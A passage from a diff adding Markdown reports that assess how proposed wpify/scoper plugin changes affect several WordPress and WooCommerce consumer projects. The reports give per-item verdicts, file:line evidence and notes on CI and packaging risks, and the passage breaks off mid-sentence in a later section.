gets a hard resolver failure — and because the constraint is transitive +through `wpify/php-scoper`, the error message will name the wrong package (exactly the symptom C4 is +meant to cure). Migration: raise `config.platform.php` to `≥ 8.2` in any project that moves to a local +install. No action needed while all four install globally. + +**Verdict C4:** SAFE for wpify-woo (verified PHP 8.3.13) and for local dev (8.4.20); +**UNKNOWN** for feeds/gopay/paczkomaty CI pending the shared template; +**NEEDS-MIGRATION** for paczkomaty's `post-create-project-cmd` path (composer.json:25 + :12). + +### C5 — fail fast on missing/invalid prefix + +All four declare a prefix, and all four are legal single-segment PHP namespaces: +`WpifyWooFeedsDeps`, `WpifyWooGopayDeps`, `WpifyWooPaczkomatyDeps`, `WpifyWooDeps`. +Nothing in this cluster relies on the silent no-op at `src/Plugin.php:127` — there is no sub-package +without a prefix that is expected to skip. **SAFE for all four.** + +### C1 + M4 — nested Composer as a subprocess, exit-code propagation, re-entrancy guard, `--no-plugins` + +I checked every locked scoped package's `type` across all four `composer-deps.lock` files. The only +non-`library` types are `woocommerce/action-scheduler` (`wordpress-plugin`, in all four) and +`dragonbe/vies` (`tool`, wpify-woo only). **No `composer-plugin` package, no `composer/installers`, no +`*-installer`, no `cweagans/composer-patches`, no `dealerdirect/phpcodesniffer-composer-installer` +appears in any `composer-deps.json` or its lock.** + +`composer/installers` is absent even though Action Scheduler declares `type: wordpress-plugin` — which +is why it installs to the default `vendor/woocommerce/action-scheduler` (confirmed in the built feeds +tree). Nothing depends on installer-driven paths. `--no-plugins` on the nested install is therefore +**SAFE for all four**. + +Note for completeness: `wpify-woo-paczkomaty/composer.json:9` allows +`dealerdirect/phpcodesniffer-composer-installer`, and it *is* in that project's root `composer.lock` +dev packages — but that is the **root** install, not the nested one. The nested install only ever sees a +copy of `composer-deps.json` (`src/Plugin.php:131,175`), so `--no-plugins` there cannot touch it. + +Re-entrancy: none of the four copies `extra.wpify-scoper` into its `composer-deps.json` (checked all +four — no `extra` key at all), so the recursion hazard M4 describes is not armed in this cluster. + +CI depending on `composer install` exiting 0 despite scoping failure: `tmp/wpify-woo/.gitlab-ci.yml:37` +runs a bare `composer install …` with no `|| true` and no `allow_failure`, so propagating the nested +exit code makes previously-silent failures visible — a **behaviour change in the right direction**, but +it means a scoping failure that CI currently ignores would start red-lighting the pipeline. Flagging it +so it is not mistaken for a regression. Same caveat presumably applies to the other three via the shared +template (UNKNOWN). + +**Verdict C1+M4:** SAFE for all four, with the noted (intended) CI-visibility change. + +### H7 — make `--no-dev` reachable + +**No `require-dev` in any of the four `composer-deps.json`**, and `packages-dev` is `[]` (length 0) in all +four `composer-deps.lock` files. Nothing dev is currently scoped or shipped, so nothing disappears when +`--no-dev` starts working. + +Worth recording: `tmp/wpify-woo/.gitlab-ci.yml:37` already passes `--no-dev` to the **outer** install. +That does not propagate — `execute()` sets `$useDevDependencies = true` for `POST_INSTALL_CMD` +(`src/Plugin.php:191–195`), which is exactly the H7 defect. Because there are no dev deps to drop, the +observable output is identical either way. + +**Verdict H7: SAFE for all four** (no-op). + +### H16 — full-AST symbol extraction, regenerated symbol lists + +The question is whether a newly-excluded WP/Woo symbol collides with a **root-namespace** symbol defined +by a scoped dependency. I enumerated every class/interface/trait/enum, function and constant declared in +the feeds build inside a file whose namespace is exactly the prefix (i.e. originally global): +74 classes, 37 "functions", 33 constants. + +- The 74 classes are all `ActionScheduler*` — already in `exclude-classes` via `woocommerce.php` + (spot-checked `ActionScheduler`, `ActionScheduler_Store`, `ActionScheduler_Logger`, + `ActionScheduler_DateTime`: all IN-LIST). Adding more WP symbols cannot newly collide with them. +- Of the 37 "functions", the 17 real global ones (`as_*`, `wc_*_scheduled_action*`) are **already** in + `exclude-functions` (verified individually — all 17 IN-LIST). The remaining 20 + (`parse`, `text`, `indent`, `encodeit`, `decodeit`, `code_trick`, `user_sanitize`, `chop_string`, + `filter_text`, `sanitize_text`, `parse_readme`, `parse_readme_contents`, `setBreaksEnabled`, …) are + **class methods**, not global functions — they are members of `PucReadmeParser` and `Parsedown` in + `yahnis-elsts/plugin-update-checker/vendor/PucReadmeParser.php` (confirmed by reading the file: they + sit inside `class PucReadmeParser`). Method names are not in php-scoper's symbol namespace, so + additions to `exclude-functions` cannot touch them. +- `wpify_custom_fields` is the one genuinely global project-side function; no WordPress or WooCommerce + symbol will ever carry that name. +- The 33 "constants" are all class constants (`STATUS_PENDING`, `GROUPS_TABLE`, `DAY`, `HOUR`, …), none + in `exclude-constants` today. Class constants are likewise outside php-scoper's global-constant + handling. + +**Verdict H16: SAFE for all four**, with an honest limitation — I validated against the *described* +delta (~18 function-body symbols, ~97 top-level consts, ~46 `class_alias` targets), not against the +actual regenerated files, which do not exist yet. The structural conclusion holds regardless: apart from +Action Scheduler (already fully excluded), these dependency sets declare essentially nothing in the root +namespace for a larger WP/Woo symbol list to collide with. + +### M3 — stop writing generated `scripts` into the user's `composer-deps.json` + +Reading `src/Plugin.php` closely: line 175 `createJson( $composerJsonPath, $composerJson )` writes to +`$source/composer.json` — inside the throwaway temp tree (`:131`), which `postinstall.php` deletes at the +end. The user's own `composer-deps.json` is only written at `:141`, and only when it does not exist yet. +So the current version does **not** clobber a committed `composer-deps.json` on every run. + +Confirmed empirically: `composer-deps.json` is committed in all four (`git ls-files` matches), and +`git status --porcelain composer-deps.json composer-deps.lock` is **clean in all four** — including +feeds, whose scoped tree was rebuilt after the last commit (build 20:20, file untouched). + +Two things still worth naming: + +- `wpify-woo-paczkomaty/composer-deps.json:10` contains `"scripts": {},` — a residue of the + `src/Plugin.php:137–141` bootstrap (or of an older plugin version that did write back). Harmless. +- **`tmp/wpify-woo/composer-deps.json:8–24` contains a hand-written `scripts.pre-autoload-dump` block** + with 15 `rm -rf vendor//{test,docs,examples}` entries used to slim the shipped payload. The + current code path preserves it: `$composerJson` is decoded from the user's file (`:135`) and the + generated entry is **added** as `$composerJson->scripts->{post-install-cmd}` (`:169`), leaving + `pre-autoload-dump` intact in the temp copy where the nested Composer will run it. Any M3 rework must + keep merging rather than replacing `scripts` — dropping this block would silently re-inflate the + wordpress.org release of wpify-woo by shipping every dependency's test and docs directories. + +**Verdict M3:** SAFE for feeds, gopay, paczkomaty (no hand-written scripts, no churn). +**NEEDS-MIGRATION for tmp/wpify-woo** — not because M3 breaks it as specified, but because the +implementation must preserve user-authored `scripts` keys; wpify-woo is the project that would notice. + +### M15 — validate `globals` entries + +Available symbol files: `action-scheduler.php`, `plugin-update-checker.php`, `woocommerce.php`, +`wordpress.php`, `wp-cli.php`. Every `globals` entry across all four resolves: +`wordpress`, `woocommerce`, `plugin-update-checker` (feeds, gopay), `wordpress`, `woocommerce` +(paczkomaty, wpify-woo). No typos, no unknown names. **SAFE for all four.** + +Interaction to sequence: if H15 lands (delete `symbols/plugin-update-checker.php`) *before or with* +M15 (reject unknown `globals`), then feeds and gopay start **failing validation** on a name that was +valid the day before. Those two `globals` arrays must be edited in the same release, or M15 must warn +rather than fail for this one name during a deprecation window. + +--- + +## Verdict table + +Legend: SAFE / NEEDS-MIGRATION / BREAKING / UNKNOWN / n-a = not applicable. + +| Item | wpify-woo-feeds | wpify-woo-gopay | wpify-woo-paczkomaty | tmp/wpify-woo | +|---|---|---|---|---| +| **C4** php `^8.1`→`^8.2` | UNKNOWN (CI template not local; dev PHP 8.4.20 ok) | UNKNOWN (same) | **NEEDS-MIGRATION** (composer.json:25 installs scoper locally under `platform.php 8.1` :12) | SAFE (composer:2.8.2 = PHP 8.3.13) | +| **C5** fail fast on missing prefix | SAFE | SAFE | SAFE | SAFE | +| **C3** atomic swap via `.bak` sibling | **NEEDS-MIGRATION** (`.bak` lands in `vendor/`, gitignored, never pruned) | **NEEDS-MIGRATION** (same) | SAFE (`deps` is top-level) | **NEEDS-MIGRATION** (`.rsyncinclude:6 + /vendor/***` ships it to wordpress.org; CI artifacts :29–30) | +| **C2** `is_link()` guard | SAFE (0 symlinks in built tree) | SAFE | SAFE | SAFE | +| **C1+M4** subprocess / exit code / `--no-plugins` | SAFE | SAFE | SAFE | SAFE (CI will newly red-light on scoping failure — intended) | +| **H1** anchored prefix-stripping | SAFE (only `WP_CLI`/`WP_CLI_Command`, in dead code) | SAFE | SAFE | SAFE | +| **H2** narrow `autoload_static` rewrite | SAFE (verified: 3 hits, all in `$files`) | SAFE (inferred) | SAFE (inferred) | SAFE (inferred) | +| **H7** `--no-dev` reachable | SAFE (no require-dev) | SAFE | SAFE | SAFE | +| **H14** regenerate PUC for v5 | **BREAKING** unless `scoper.inc.php:75–77` patcher preserved | **BREAKING** (same) | n-a (no PUC) | n-a (no PUC) | +| **H15** drop built-in PUC list | SAFE (list is dead; remove from `globals`) | SAFE (same) | n-a | n-a | +| **H16** regenerated symbol lists | SAFE | SAFE | SAFE | SAFE | +| **H18** `scoper.custom.php` discovery | n-a (no custom file) | n-a | n-a | SAFE — already applied today via global-install path; fix must not narrow discovery | +| **M3** stop writing `scripts` | SAFE | SAFE | SAFE | **NEEDS-MIGRATION** (hand-written `pre-autoload-dump`, composer-deps.json:8–24, must survive) | +| **M15** validate `globals` | SAFE (sequence with H15) | SAFE (sequence with H15) | SAFE | SAFE | diff --git a/docs/improvements/consumers/E-legacy-php-group.md b/docs/improvements/consumers/E-legacy-php-group.md new file mode 100644 index 0000000..fc66cd0 --- /dev/null +++ b/docs/improvements/consumers/E-legacy-php-group.md @@ -0,0 +1,513 @@ +# Consumer impact — cluster E ("legacy PHP" group) + +Read-only verification of the proposed `wpify/scoper` changes against five real +consumer projects. No file in any consumer project was modified; all evidence is +`file:line` from the checkouts as they stand on 2026-07-27. + +| Project | Prefix | `folder` | `globals` | root `require.php` | `config.platform.php` | scoper install | +|---|---|---|---|---|---|---| +| `heureka-scope-review` | `HeurekaDeps` | `vendor/heureka` | `wordpress`, `woocommerce` | `>=8.1.0` | `8.1` | global | +| `rosettapress` | `RosettaPressDeps` | `vendor/rosettapress-deps` | *(default)* | `>=8.1` | `8.1.27` | global | +| `epicwash-dev` | `EpicwashDeps` | `vendor/epicwash` | *(default)* | `^8.3` | `8.3` | global | +| `edu.constructiocrm` | `ConstructioEduDeps` | `web/app/deps` | *(default)* | `>=8.3` | `8.3` | **local `require-dev` `^3.2`** + global | +| `environmentalbadge` | `EnvironmentalBadgeDeps` | `web/app/deps` | *(default)* | `>=8.3` | *(none)* | global | + +Reference points used throughout: + +* Global install: `/Users/wpify/.composer/vendor/wpify/scoper` @ **3.2.21** (= commit + `b00d523`), with `wpify/php-scoper` **0.18.18**. +* Dev host PHP: **8.4.20** (`php -v`). + +--- + +## 0. Is `heureka-scope-review` a product or a test bed? + +**It is an active client product.** The directory name is a local checkout label only. + +* `git -C heureka-scope-review remote -v` → `git@gitlab.wpify.io:client-projects/heureka.git` +* Last commit `6323efe` "update deps, release", **2026-07-08**. +* It ships to **wordpress.org**: `heureka-scope-review/.gitlab-ci/deploy-wporg.yml:20` + (`wporg_plugin_deploy ... vendor/ ...`), plus `assets-wporg/` and `readme.txt`. + +Weight it as a **production consumer with a public release channel**. This raises the +stakes on C3 specifically (see §3): a leftover `.bak` inside `vendor/` would be +published to the wordpress.org SVN trunk. + +--- + +## 1. C4 — bump `require.php` from `^8.1` to `^8.2` + +### The two constraints, kept apart + +`config.platform.php` in `composer.json` / `composer-deps.json` constrains **resolution +of the scoped dependency graph**. It does not constrain the PHP that executes the +plugin. Proof, per project: + +* `heureka-scope-review/composer.lock` and `rosettapress/composer.lock` contain **no + `wpify/scoper` entry at all** — it is not a project dependency in either, so their + `platform-overrides` (`{"php": "8.1"}` / `{"php": "8.1.27"}`) are irrelevant to it. + Same for `epicwash-dev` and `environmentalbadge`. +* The only project where `wpify/scoper` participates in resolution is + `edu.constructiocrm` (`composer.json:57`, `require-dev` → `"wpify/scoper": "^3.2"`), + and its `config.platform.php` is **`8.3`** (`composer.json:71`). + +### The premise in the audit card needs one correction + +The C4 card says consumers on 8.1 "cannot install today either". That is not quite +right, and it matters for judging the bump. `wpify/scoper` requires +`wpify/php-scoper: ^0.18` (`composer.json:34`), and not every 0.18.x forbids 8.1: + +``` +0.18.4 -> "php": "^8.1" +0.18.7 -> "php": "^8.1" +0.18.9 -> "php": "^8.2" <- and every release after +... +0.18.19 -> "php": "^8.2" +``` + +(verified from tags in the local `/Users/wpify/projects/php-scoper` clone). A PHP-8.1 +host today therefore **does** install `wpify/scoper`, pinned back to php-scoper 0.18.7. +So the bump is a genuine tightening, not a no-op — which is exactly why the per-project +runtime check below had to be done rather than waved away. + +### What PHP actually runs the tool, per project + +| Project | Local dev | CI | Verdict | +|---|---|---|---| +| `heureka-scope-review` | no DDEV, no `.tool-versions`/`.php-version` → host PHP **8.4.20** | `.gitlab-ci/generate-zip.yml:8` `extends: .composer_install` from private `wpify/gitlab-ci-templates` — **image not readable** (clone denied: `Permission denied (publickey)`) | **SAFE** | +| `rosettapress` | `.ddev/config.yaml:4` `php_version: "8.3"` | `.gitlab-ci.yml:5` includes private `pipelines/wpify-plugin.yml` — **image not readable** | **SAFE** | +| `epicwash-dev` | no DDEV → host PHP **8.4.20** | `.gitlab-ci.yml:7` **`image: composer:2.8.2`**, `.gitlab-ci.yml:12` `composer global require wpify/scoper` | **SAFE** | +| `edu.constructiocrm` | `.ddev/config.yaml:4` `php_version: "8.4"` | no CI config in the repo | **SAFE** | +| `environmentalbadge` | `.ddev/config.yaml:3` `php_version: "8.3"` (`.ddev/config.local.yaml` sets only `name`/`project_tld`/hostnames — no PHP override) | `.gitlab-ci.yml:29` **`image: composer:2.8.2`**, `.gitlab-ci.yml:35` `composer global require wpify/scoper` | **SAFE** | + +On the two unreadable templates: the house convention on this machine is unambiguous — +14 sibling `.gitlab-ci.yml` files pin `image: composer:2.8.2` and 4 pin `image: composer:2` +(`alfamarka`, `dluhopisy`, `mawis`, `delife`, `sdcentral`, `marieolivie`, `stavbadesign`, +`feed.szn`, `sales-booster-kit`, `ckait`, `constructiocrm`, `helpdesk`, `tmp/wpify-woo`, +`environmentalbadge`, `epicwash-dev`, …). Both tags are PHP ≥ 8.3. I mark the template +image itself **UNKNOWN-but-strongly-inferred** and say so rather than asserting it. + +There is also a decisive independent argument for `heureka`/`rosettapress` that does not +depend on the template: both projects' current scoped output was produced by a +`wpify/scoper` install whose php-scoper is 0.18.x. If either environment were on PHP 8.1 +it would be frozen on php-scoper **0.18.7** — a release from before the current symbol +lists — and `rosettapress`'s scoped tree (rebuilt 2026-07-21) is demonstrably current. + +### Verdict + +> **The `php: ^8.2` bump breaks nobody in this cluster.** Every environment that +> executes `wpify/scoper` here is on PHP 8.3 or 8.4. The three projects pinning +> `config.platform.php` to 8.1.x are pinning their *scoped dependency graph*, not their +> toolchain, and two of the three do not even have `wpify/scoper` in their lock file. + +One follow-on note, not a blocker: `heureka` and `rosettapress` still resolve their +*scoped* deps against platform 8.1, and `rosettapress/vendor/rosettapress-deps/composer/platform_check.php:7` +emits `PHP_VERSION_ID >= 80100`. That is their own choice and is untouched by C4. + +--- + +## 2. C5 — fail fast on a missing/invalid `extra.wpify-scoper.prefix` + +All five prefixes are present and are legal PHP namespace identifiers: +`HeurekaDeps` (`composer.json:36`), `RosettaPressDeps` (`composer.json:39`), +`EpicwashDeps` (`composer.json:37`), `ConstructioEduDeps` (`composer.json:88`), +`EnvironmentalBadgeDeps` (`composer.json:117`). + +Nothing in the cluster relies on the silent no-op **as a configured project**. But there +is a design constraint that this cluster proves, and it is the most important C5 finding: + +> **`wpify/scoper` is installed *globally* in 4 of 5 projects** — so it activates on +> **every** `composer install`/`update` the developer or CI runs, in **any** repository +> on that machine, whether or not that repository has anything to do with scoping. + +Evidence: `~/.composer/composer.json` requires `wpify/scoper: ^3.2` with +`allow-plugins.wpify/scoper: true`; CI reproduces this with +`composer global config --no-plugins allow-plugins.wpify/scoper true` + +`composer global require wpify/scoper` (`epicwash-dev/.gitlab-ci.yml:11-12`, +`environmentalbadge/.gitlab-ci.yml:34-35`). + +A naïve "no prefix → throw" would therefore break `composer install` in every unrelated +project on the machine, including `wpify/scoper`'s own repo. The gate must be +**"`extra.wpify-scoper` is present but `prefix` is missing/empty/invalid"**, never +"`prefix` is absent". Scanning these five trees for sub-packages that could trip a naïve +check turned up `epicwash-dev/libs/Nayax/composer.json` and +`epicwash-dev/libs/EmailKampane/composer.json` (generated OpenAPI SDKs, no `name`, no +prefix) — neither has a `vendor/`, so nobody runs Composer in them today; the risk is +latent, not live. + +**Verdict: SAFE** for all five as configured, **conditional on the check being scoped to +the presence of the `wpify-scoper` key**. Implemented as an unconditional requirement it +is **BREAKING** for every project on a machine with the global install. + +--- + +## 3. C3 — atomic swap via a `.bak` sibling + +`folder` is inside the project root in all five, and `temp` defaults to +`getcwd() . '/tmp-XXXXXXXXXX'` (`Plugin.php:58`) — **same filesystem in every case**, +including the DDEV projects, where the whole project root is one bind mount. No `EXDEV` +risk anywhere in this cluster. + +Does a later `composer install` disturb a `.bak` in `vendor/`? **No.** Composer does not +prune directories it does not manage, and this cluster proves it: the scoped directories +themselves already live in `vendor/` and survive every install — +`rosettapress/vendor/composer/installed.json` lists 11 packages, **none** matching +`rosettapress-deps`; `epicwash-dev`'s lists 17, **none** matching `epicwash`. + +Per-project, for a leftover `.bak` (only possible if the run dies mid-swap): + +| Project | `.bak` path | gitignored? | CI artifact / deploy exposure | +|---|---|---|---| +| `heureka-scope-review` | `vendor/heureka.bak` | **yes** — `.gitignore:8` `/vendor/` | `.gitlab-ci/generate-zip.yml:12` artifacts `$CI_PROJECT_DIR/vendor`, and `plugin_archive ... vendor/` (line 30) → **would be published to wordpress.org** | +| `rosettapress` | `vendor/rosettapress-deps.bak` | **yes** — `.gitignore:5` `/vendor` | ZIP built from private template; `vendor/` is shipped → would be bundled | +| `epicwash-dev` | `vendor/epicwash.bak` | **yes** — `.gitignore:2` `vendor` | `.gitlab-ci.yml:10` artifacts `$CI_PROJECT_DIR/vendor`; `.gitlab-ci.yml:39` `cp -r assets build libs src vendor epicwash.php export/epicwash/` → bundled into `epicwash.zip`. The lftp mirror (`.gitlab-ci.yml:66-82`) excludes `deps/` but **not** `vendor/*.bak` → uploaded to FTP | +| `edu.constructiocrm` | `web/app/deps.bak` | **NO** — `.gitignore:13` is `web/app/deps/*`, which ignores the *contents of* `deps/`, not a sibling `deps.bak` | no CI | +| `environmentalbadge` | `web/app/deps.bak` | **NO** — `.gitignore:16` `web/app/deps/*`, same gap | `.gitlab-ci.yml:24` artifacts `$CI_PROJECT_DIR/web/app/deps` (the dir, not the sibling); `server_deploy ... web/app/deps/ ...` (`.gitlab-ci.yml:57`) → **not** deployed | + +Why C3 matters most in this cluster — the deletion window is not "a plugin fails to +load", it is "the site is down", because four of five `require` the scoped autoloader +unguarded and one does it from `wp-config.php`: + +* `environmentalbadge/web/wp-config.php:10` — `require_once .../web/app/deps/scoper-autoload.php`, **before WordPress boots**. A missing `deps/` is a fatal on every request, front end and admin. +* `edu.constructiocrm/bootstrap.php:12` — same pattern, loaded from `web/app/mu-plugins/constructio-edu/constructio-edu.php:17`. +* `rosettapress/rosettapress.php:25` and `epicwash-dev/epicwash.php:22` — unguarded `require_once` at plugin load. +* `heureka-scope-review/heureka.php:103-105` is the only one that guards with `file_exists()`; it degrades to a silent "plugin does nothing" instead of a fatal. + +**Verdict:** +* `heureka-scope-review`, `rosettapress`, `epicwash-dev` — **SAFE** (`.bak` lands inside an already-ignored `vendor/`; Composer will not touch it). +* `edu.constructiocrm`, `environmentalbadge` — **NEEDS-MIGRATION**: add `web/app/*.bak` (or `web/app/deps.bak`) to `.gitignore`, otherwise a failed run leaves an untracked directory in `git status`. +* `epicwash-dev` — **NEEDS-MIGRATION** on the packaging side: add `--exclude "*.bak"` to the lftp mirror and filter the `cp -r … vendor …` in the `package` job, or a leftover backup doubles the shipped plugin. +* `heureka-scope-review` — **NEEDS-MIGRATION** on the release side: `plugin_archive … vendor/` would carry a leftover `.bak` into the wordpress.org release. Highest-consequence instance in the cluster. + +If the plugin can instead keep the backup under its own `temp` directory (same +filesystem, already ignored everywhere) the whole migration row disappears. Worth +considering before landing C3. + +--- + +## 4. C2 — `is_link()` guard in `remove()` + +* No `path` repositories: **none** of the five `composer-deps.json` files declares a + `repositories` key at all. +* No symlinks inside any built scoped tree: `find -type l` returns **0** for + `rosettapress/vendor/rosettapress-deps`, `epicwash-dev/vendor/epicwash`, + `edu.constructiocrm/web/app/deps`, `environmentalbadge/web/app/deps`. +* None of the scoped folders is itself a symlink. +* The only symlinks near these project roots are unrelated: + `rosettapress/.ddev/custom_certs/*`, `environmentalbadge/.ddev/custom_certs/*`, + `edu.constructiocrm/.claude/skills/*`. +* DDEV mounts the project root as a normal bind mount; `folder` and `temp` are both + inside it. + +**Verdict: SAFE — pure hardening, zero behaviour change** for all five. Not applicable in +the sense that no consumer here currently triggers the bug, but nothing here can regress +from the guard either. + +--- + +## 5. C1 + M4 — subprocess Composer, exit-code propagation, re-entrancy guard, `--no-plugins` + +### `--no-plugins` on the nested install + +No scoped dependency in this cluster is, or needs, a Composer plugin: + +| Project | scoped pkgs | composer-plugin / installer among them | pkgs requiring `composer/installers` | +|---|---|---|---| +| `heureka-scope-review` | 13 | none | none | +| `rosettapress` | 40 | `woocommerce/action-scheduler` is type `wordpress-plugin` (**not** a `composer-plugin`) | none | +| `epicwash-dev` | 19 | none | none | +| `edu.constructiocrm` | 13 | none | none | +| `environmentalbadge` | 16 | none | none | + +`woocommerce/action-scheduler`'s `wordpress-plugin` type is handled by Composer's default +`LibraryInstaller` when no installer plugin is present — confirmed by its actual location +in the built tree, `rosettapress/vendor/rosettapress-deps/woocommerce/action-scheduler/`, +i.e. the plain vendor layout. + +`environmentalbadge/composer-deps.json:5-10` declares `allow-plugins` for +`composer/installers`, `dealerdirect/phpcodesniffer-composer-installer`, +`roots/wordpress-core-installer` and `mnsami/composer-custom-directory-installer` — none +of which appears in `composer-deps.lock`. That block is vestigial copy-paste from the +root `composer.json` and `--no-plugins` would change nothing. + +**Verdict on `--no-plugins`: SAFE for all five.** + +### Exit codes and script ordering + +No project in this cluster registers a root `post-install-cmd` / `post-update-cmd` +script. Their `scripts` blocks are all manual commands (`phpcs`, `make-pot`, `lint`, +`test`, `generate-*-sdk`), so nothing user-authored is currently being skipped by the +`exit()`. + +What **is** being skipped: `dealerdirect/phpcodesniffer-composer-installer` subscribes to +`POST_INSTALL_CMD` and `POST_UPDATE_CMD` +(`rosettapress/vendor/dealerdirect/phpcodesniffer-composer-installer/src/Plugin.php:161-171`) +and is a `require-dev` of `heureka-scope-review`, `rosettapress`, `epicwash-dev` and +`environmentalbadge`. Global plugins are registered **before** local ones +(`PluginManager.php:109-110`), so on a dev `composer install` the scoper listener runs +first and `exit()`s, and dealerdirect's `installed_paths` write never happens. Fixing C1 +makes it start working — a benign but real behaviour change ("phpcs suddenly finds WPCS"). +CI is unaffected: every CI job uses `--no-dev`. + +**Verdict on exit-code/ordering: NEEDS-MIGRATION (informational)** for +`heureka-scope-review`, `rosettapress`, `epicwash-dev`, `environmentalbadge`; +**SAFE** for `edu.constructiocrm` (no dealerdirect). + +### M4 re-entrancy — an extra data point from `edu.constructiocrm` + +`edu.constructiocrm` has `wpify/scoper` **both** globally and in `require-dev`. Only one +runs: `PluginManager::registerPackage()` returns early when the package name is already +registered (`PluginManager.php:216-218`), and the global repository is loaded first +(`PluginManager.php:109-110`). So the **global 3.2.21 executes** and the local +`vendor/wpify/scoper` copy is inert. The local requirement still governs *resolution* +(and therefore C4), but never the running code. Any re-entrancy guard must be keyed on +something process-global (env var), not on plugin instance state, or the two copies would +not see each other in a subprocess world. + +--- + +## 6. H1 — anchored prefix-stripping + +The hazard is the unanchored `str_replace` at `config/scoper.inc.php:87-103`: for every +`exclude-classes` / `exclude-namespaces` entry it replaces `\\` with +`\`, so a scoped symbol that merely *starts with* an excluded symbol gets +truncated. + +Checked mechanically: for each project, every key of `composer/autoload_classmap.php` +plus every PSR-4 root of `composer/autoload_psr4.php`, stripped of the prefix, against +the full excluded class+namespace set for that project's `globals` (1,609 symbols for the +four default-`globals` projects; 1,570 for `heureka`, which sets +`globals: ["wordpress","woocommerce"]`). + +``` +RosettaPressDeps 1453 scoped symbols -> NO prefix-collisions +EpicwashDeps 360 scoped symbols -> NO prefix-collisions +ConstructioEduDeps 480 scoped symbols -> NO prefix-collisions +EnvironmentalBadgeDeps 504 scoped symbols -> NO prefix-collisions +HeurekaDeps (from composer-deps.lock roots) -> NO prefix-collisions +``` + +The only excluded class/namespace symbols short enough to be plausible false-prefixes are +`MO`, `PO`, `POP3`, `WP`, `ftp`, `wpdb`. No scoped root in this cluster begins with any of +them — note `Wpify\` ≠ `WP` (case-sensitive), which is the near-miss worth flagging. +`heureka`'s scoped roots are `Heureka`, `Hcapi`, `Wpify\{CustomFields,Log,Model,PluginUtils}`, +`DI`, `Invoker`, `PhpDocReader`, `Psr\{Container,Log}`, `Spatie\ArrayToXml`, +`Laravel\SerializableClosure` (from `composer-deps.lock`). + +A textual sweep of the four built trees for un-prefixed `use` roots found only legitimate +cases: intentionally excluded WP/Woo namespaces (`Automattic\WooCommerce\…`, +`Action_Scheduler\…`, `PHPMailer\PHPMailer\PHPMailer`), PHP-native constants +(`STR_PAD_LEFT`, `PREG_*`, `PHP_INT_SIZE`) and optional-extension classes +(`Redis`, `COM`, `MongoDB\*`, `Grpc\*`, `AMQPExchange`, `uuid_*`). Nothing carrying the +H1 signature. + +**Verdict: SAFE for all five.** No project is currently corrupted, and none regresses. +Cross-cutting note: **H1 should land before or with H16** — every symbol H16 adds is +another unanchored needle, so the anchoring fix is what keeps H16's blast radius at zero. + +--- + +## 7. H2 — narrow the `autoload_static.php` rewrite to `$files` + +The regex at `scripts/postinstall.php:41-45` prepends the lowercased prefix to any +`'alnum' => value,` pair. Checked all four built `composer/autoload_static.php` files: + +* **Zero** unqualified classmap keys in any of them (`0` matches for + `^\s*'[A-Za-z0-9_]+' =>` inside the `$classMap` block). +* The only rewritten keys are the intended `$files` md5 hashes — e.g. + `rosettapress/vendor/rosettapress-deps/composer/autoload_static.php:13-16`, + `edu.constructiocrm/web/app/deps/composer/autoload_static.php:14-18`. +* `'Composer\\InstalledVersions'` survives intact (it contains a backslash, so the regex + misses it), and `$prefixLengthsPsr4` keys like `'R' => array (` are not matched because + `array (` fails the value character class. + +There is **no live H2 corruption** in this cluster: php-scoper namespaces every scoped +class, so no unqualified classmap key exists to corrupt. + +**Verdict: SAFE for all five** — narrowing the rewrite to `$files` is byte-for-byte +identical output for these projects. (`heureka-scope-review` has no built tree on disk; +its scoped set is a strict subset of the others' package types, so the same conclusion +holds by construction.) + +--- + +## 8. H7 — make `--no-dev` reachable + +**Not applicable to any of the five.** None of the five `composer-deps.json` files +declares `require-dev`, and every `composer-deps.lock` reports `packages-dev: 0` +(heureka 13/0, rosettapress 40/0, epicwash 19/0, edu 13/0, environmentalbadge 16/0). No +scoped dev dependency exists to disappear, and no project source references one. + +**Verdict: SAFE / not applicable, all five.** + +--- + +## 9. H14 / H15 — `plugin-update-checker` + +Flagged by the lead as the highest-risk item. **For this cluster the risk is zero.** + +* `plugin-update-checker` is **not** in any project's `globals`. `heureka` sets + `["wordpress","woocommerce"]` explicitly (`composer.json:38-41`); the other four omit + `globals` and get the default `['wordpress','woocommerce','action-scheduler','wp-cli']` + (`Plugin.php:60`) — which does not include it. So + `symbols/plugin-update-checker.php` is never loaded (`Plugin.php:230-235`) for any of + them. +* Only `rosettapress` scopes PUC at all, transitively via `wpify/updates: ^1`, and it is + **v5**: `rosettapress/vendor/rosettapress-deps/composer/autoload_static.php:14` → + `yahnis-elsts/plugin-update-checker/load-v5p6.php`. It is fully prefixed, which is the + correct treatment for the namespaced v5. +* No project's source references `Puc_v4p11_*`, `PluginUpdateChecker`, or + `YahnisElsts\*` (grep across all five `src/` trees and root plugin files: **0 hits**). +* The v4-specific patchers at `config/scoper.inc.php:48-50` and `:75-77` are dead code + for this cluster. + +**Verdict: SAFE / not applicable, all five** — regenerating for v5 *or* dropping the +built-in list entirely costs this cluster nothing. + +--- + +## 10. H16 — full-AST symbol extraction, regenerated lists + +Approximated by diffing the symbol files between `af1b752` (before the two symbol +commits) and `HEAD`, then collision-testing every added class/namespace symbol against +each project's scoped symbol set: + +``` +exclude-classes: +66 / -4 +exclude-namespaces: +292 / -12 +exclude-functions: +266 / -24 +exclude-constants: +102 / -1 + +358 newly-added class/namespace symbols vs. + RosettaPressDeps -> no collisions + EpicwashDeps -> no collisions + ConstructioEduDeps -> no collisions + EnvironmentalBadgeDeps -> no collisions +``` + +The interesting additions are the short, generic ones now in `exclude-classes`: +`Attribute`, `Stringable`, `ValueError`, `PhpToken`, `UnhandledMatchError` (WordPress / +WooCommerce polyfill classes). Grepping the four built trees for +`\\{Attribute|Stringable|ValueError|PhpToken|UnhandledMatchError}` returns **0 +hits** — `RosettaPressDeps\DI\Attribute\Inject` does *not* match, because the needle +requires the symbol to sit directly after the prefix. + +Timing check: `b00d523` ("add new symbols") is dated **2025-05-07**, and every built tree +in this cluster post-dates it (epicwash 2026-01-08, environmentalbadge 2026-06-22, +edu 2026-07-14, rosettapress 2026-07-21) — so those exclusions are already reflected in +the shipped output. Only `a59d577` (today) is newer, and it touches `exclude-constants` +only, which the `scoper.inc.php` patcher loop does not consume (it iterates +`exclude-classes` and `exclude-namespaces` only, `config/scoper.inc.php:87-101`). + +**Verdict: SAFE for all five**, with the residual caveat that a *future* regeneration's +`class_alias` targets are unknown names. That residual is exactly what H1's anchoring +neutralises — hence the sequencing note in §6. + +--- + +## 11. H18 — `scoper.custom.php` discovery + +**None of the five projects has a `scoper.custom.php`** (checked at each project root). +So no customisation is currently being applied *or* silently ignored anywhere here, and +the fix is a no-op for all 